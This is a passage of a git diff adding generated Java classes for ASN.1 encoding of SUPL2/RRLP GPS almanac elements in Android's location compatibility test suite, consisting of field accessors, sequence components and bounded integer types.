+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlmanacElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlmanacElement.java
new file mode 100755
index 0000000..d666ab7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlmanacElement.java
@@ -0,0 +1,1776 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AlmanacElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AlmanacElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AlmanacElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AlmanacElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AlmanacElement != null) {
+ return ImmutableList.of(TAG_AlmanacElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AlmanacElement from encoded stream.
+ */
+ public static AlmanacElement fromPerUnaligned(byte[] encodedBytes) {
+ AlmanacElement result = new AlmanacElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AlmanacElement from encoded stream.
+ */
+ public static AlmanacElement fromPerAligned(byte[] encodedBytes) {
+ AlmanacElement result = new AlmanacElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteID satelliteID_;
+ public SatelliteID getSatelliteID() {
+ return satelliteID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteID
+ */
+ public void setSatelliteID(Asn1Object value) {
+ this.satelliteID_ = (SatelliteID) value;
+ }
+ public SatelliteID setSatelliteIDToNewInstance() {
+ satelliteID_ = new SatelliteID();
+ return satelliteID_;
+ }
+
+ private AlmanacElement.almanacEType almanacE_;
+ public AlmanacElement.almanacEType getAlmanacE() {
+ return almanacE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacEType
+ */
+ public void setAlmanacE(Asn1Object value) {
+ this.almanacE_ = (AlmanacElement.almanacEType) value;
+ }
+ public AlmanacElement.almanacEType setAlmanacEToNewInstance() {
+ almanacE_ = new AlmanacElement.almanacEType();
+ return almanacE_;
+ }
+
+ private AlmanacElement.alamanacToaType alamanacToa_;
+ public AlmanacElement.alamanacToaType getAlamanacToa() {
+ return alamanacToa_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.alamanacToaType
+ */
+ public void setAlamanacToa(Asn1Object value) {
+ this.alamanacToa_ = (AlmanacElement.alamanacToaType) value;
+ }
+ public AlmanacElement.alamanacToaType setAlamanacToaToNewInstance() {
+ alamanacToa_ = new AlmanacElement.alamanacToaType();
+ return alamanacToa_;
+ }
+
+ private AlmanacElement.almanacKsiiType almanacKsii_;
+ public AlmanacElement.almanacKsiiType getAlmanacKsii() {
+ return almanacKsii_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacKsiiType
+ */
+ public void setAlmanacKsii(Asn1Object value) {
+ this.almanacKsii_ = (AlmanacElement.almanacKsiiType) value;
+ }
+ public AlmanacElement.almanacKsiiType setAlmanacKsiiToNewInstance() {
+ almanacKsii_ = new AlmanacElement.almanacKsiiType();
+ return almanacKsii_;
+ }
+
+ private AlmanacElement.almanacOmegaDotType almanacOmegaDot_;
+ public AlmanacElement.almanacOmegaDotType getAlmanacOmegaDot() {
+ return almanacOmegaDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacOmegaDotType
+ */
+ public void setAlmanacOmegaDot(Asn1Object value) {
+ this.almanacOmegaDot_ = (AlmanacElement.almanacOmegaDotType) value;
+ }
+ public AlmanacElement.almanacOmegaDotType setAlmanacOmegaDotToNewInstance() {
+ almanacOmegaDot_ = new AlmanacElement.almanacOmegaDotType();
+ return almanacOmegaDot_;
+ }
+
+ private AlmanacElement.almanacSVhealthType almanacSVhealth_;
+ public AlmanacElement.almanacSVhealthType getAlmanacSVhealth() {
+ return almanacSVhealth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacSVhealthType
+ */
+ public void setAlmanacSVhealth(Asn1Object value) {
+ this.almanacSVhealth_ = (AlmanacElement.almanacSVhealthType) value;
+ }
+ public AlmanacElement.almanacSVhealthType setAlmanacSVhealthToNewInstance() {
+ almanacSVhealth_ = new AlmanacElement.almanacSVhealthType();
+ return almanacSVhealth_;
+ }
+
+ private AlmanacElement.almanacAPowerHalfType almanacAPowerHalf_;
+ public AlmanacElement.almanacAPowerHalfType getAlmanacAPowerHalf() {
+ return almanacAPowerHalf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacAPowerHalfType
+ */
+ public void setAlmanacAPowerHalf(Asn1Object value) {
+ this.almanacAPowerHalf_ = (AlmanacElement.almanacAPowerHalfType) value;
+ }
+ public AlmanacElement.almanacAPowerHalfType setAlmanacAPowerHalfToNewInstance() {
+ almanacAPowerHalf_ = new AlmanacElement.almanacAPowerHalfType();
+ return almanacAPowerHalf_;
+ }
+
+ private AlmanacElement.almanacOmega0Type almanacOmega0_;
+ public AlmanacElement.almanacOmega0Type getAlmanacOmega0() {
+ return almanacOmega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacOmega0Type
+ */
+ public void setAlmanacOmega0(Asn1Object value) {
+ this.almanacOmega0_ = (AlmanacElement.almanacOmega0Type) value;
+ }
+ public AlmanacElement.almanacOmega0Type setAlmanacOmega0ToNewInstance() {
+ almanacOmega0_ = new AlmanacElement.almanacOmega0Type();
+ return almanacOmega0_;
+ }
+
+ private AlmanacElement.almanacWType almanacW_;
+ public AlmanacElement.almanacWType getAlmanacW() {
+ return almanacW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacWType
+ */
+ public void setAlmanacW(Asn1Object value) {
+ this.almanacW_ = (AlmanacElement.almanacWType) value;
+ }
+ public AlmanacElement.almanacWType setAlmanacWToNewInstance() {
+ almanacW_ = new AlmanacElement.almanacWType();
+ return almanacW_;
+ }
+
+ private AlmanacElement.almanacM0Type almanacM0_;
+ public AlmanacElement.almanacM0Type getAlmanacM0() {
+ return almanacM0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacM0Type
+ */
+ public void setAlmanacM0(Asn1Object value) {
+ this.almanacM0_ = (AlmanacElement.almanacM0Type) value;
+ }
+ public AlmanacElement.almanacM0Type setAlmanacM0ToNewInstance() {
+ almanacM0_ = new AlmanacElement.almanacM0Type();
+ return almanacM0_;
+ }
+
+ private AlmanacElement.almanacAF0Type almanacAF0_;
+ public AlmanacElement.almanacAF0Type getAlmanacAF0() {
+ return almanacAF0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacAF0Type
+ */
+ public void setAlmanacAF0(Asn1Object value) {
+ this.almanacAF0_ = (AlmanacElement.almanacAF0Type) value;
+ }
+ public AlmanacElement.almanacAF0Type setAlmanacAF0ToNewInstance() {
+ almanacAF0_ = new AlmanacElement.almanacAF0Type();
+ return almanacAF0_;
+ }
+
+ private AlmanacElement.almanacAF1Type almanacAF1_;
+ public AlmanacElement.almanacAF1Type getAlmanacAF1() {
+ return almanacAF1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlmanacElement.almanacAF1Type
+ */
+ public void setAlmanacAF1(Asn1Object value) {
+ this.almanacAF1_ = (AlmanacElement.almanacAF1Type) value;
+ }
+ public AlmanacElement.almanacAF1Type setAlmanacAF1ToNewInstance() {
+ almanacAF1_ = new AlmanacElement.almanacAF1Type();
+ return almanacAF1_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatelliteID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatelliteID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatelliteIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satelliteID : "
+ + getSatelliteID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacE();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacE : "
+ + getAlmanacE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlamanacToa() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlamanacToa();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlamanacToaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.alamanacToaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "alamanacToa : "
+ + getAlamanacToa().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacKsii() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacKsii();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacKsiiToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacKsiiType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacKsii : "
+ + getAlmanacKsii().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacOmegaDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacOmegaDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacOmegaDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacOmegaDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacOmegaDot : "
+ + getAlmanacOmegaDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacSVhealth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacSVhealth();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacSVhealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacSVhealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacSVhealth : "
+ + getAlmanacSVhealth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacAPowerHalf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacAPowerHalf();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacAPowerHalfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacAPowerHalfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacAPowerHalf : "
+ + getAlmanacAPowerHalf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacOmega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacOmega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacOmega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacOmega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacOmega0 : "
+ + getAlmanacOmega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacW();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacW : "
+ + getAlmanacW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacM0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacM0();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacM0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacM0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacM0 : "
+ + getAlmanacM0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacAF0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacAF0();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacAF0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacAF0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacAF0 : "
+ + getAlmanacAF0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacAF1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacAF1();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacAF1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlmanacElement.almanacAF1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacAF1 : "
+ + getAlmanacAF1().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacEType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacEType != null) {
+ return ImmutableList.of(TAG_almanacEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacEType from encoded stream.
+ */
+ public static almanacEType fromPerUnaligned(byte[] encodedBytes) {
+ almanacEType result = new almanacEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacEType from encoded stream.
+ */
+ public static almanacEType fromPerAligned(byte[] encodedBytes) {
+ almanacEType result = new almanacEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class alamanacToaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_alamanacToaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public alamanacToaType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_alamanacToaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_alamanacToaType != null) {
+ return ImmutableList.of(TAG_alamanacToaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new alamanacToaType from encoded stream.
+ */
+ public static alamanacToaType fromPerUnaligned(byte[] encodedBytes) {
+ alamanacToaType result = new alamanacToaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new alamanacToaType from encoded stream.
+ */
+ public static alamanacToaType fromPerAligned(byte[] encodedBytes) {
+ alamanacToaType result = new alamanacToaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "alamanacToaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacKsiiType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacKsiiType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacKsiiType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacKsiiType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacKsiiType != null) {
+ return ImmutableList.of(TAG_almanacKsiiType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacKsiiType from encoded stream.
+ */
+ public static almanacKsiiType fromPerUnaligned(byte[] encodedBytes) {
+ almanacKsiiType result = new almanacKsiiType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacKsiiType from encoded stream.
+ */
+ public static almanacKsiiType fromPerAligned(byte[] encodedBytes) {
+ almanacKsiiType result = new almanacKsiiType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacKsiiType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacOmegaDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacOmegaDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacOmegaDotType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacOmegaDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacOmegaDotType != null) {
+ return ImmutableList.of(TAG_almanacOmegaDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacOmegaDotType from encoded stream.
+ */
+ public static almanacOmegaDotType fromPerUnaligned(byte[] encodedBytes) {
+ almanacOmegaDotType result = new almanacOmegaDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacOmegaDotType from encoded stream.
+ */
+ public static almanacOmegaDotType fromPerAligned(byte[] encodedBytes) {
+ almanacOmegaDotType result = new almanacOmegaDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacOmegaDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacSVhealthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacSVhealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacSVhealthType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacSVhealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacSVhealthType != null) {
+ return ImmutableList.of(TAG_almanacSVhealthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacSVhealthType from encoded stream.
+ */
+ public static almanacSVhealthType fromPerUnaligned(byte[] encodedBytes) {
+ almanacSVhealthType result = new almanacSVhealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacSVhealthType from encoded stream.
+ */
+ public static almanacSVhealthType fromPerAligned(byte[] encodedBytes) {
+ almanacSVhealthType result = new almanacSVhealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
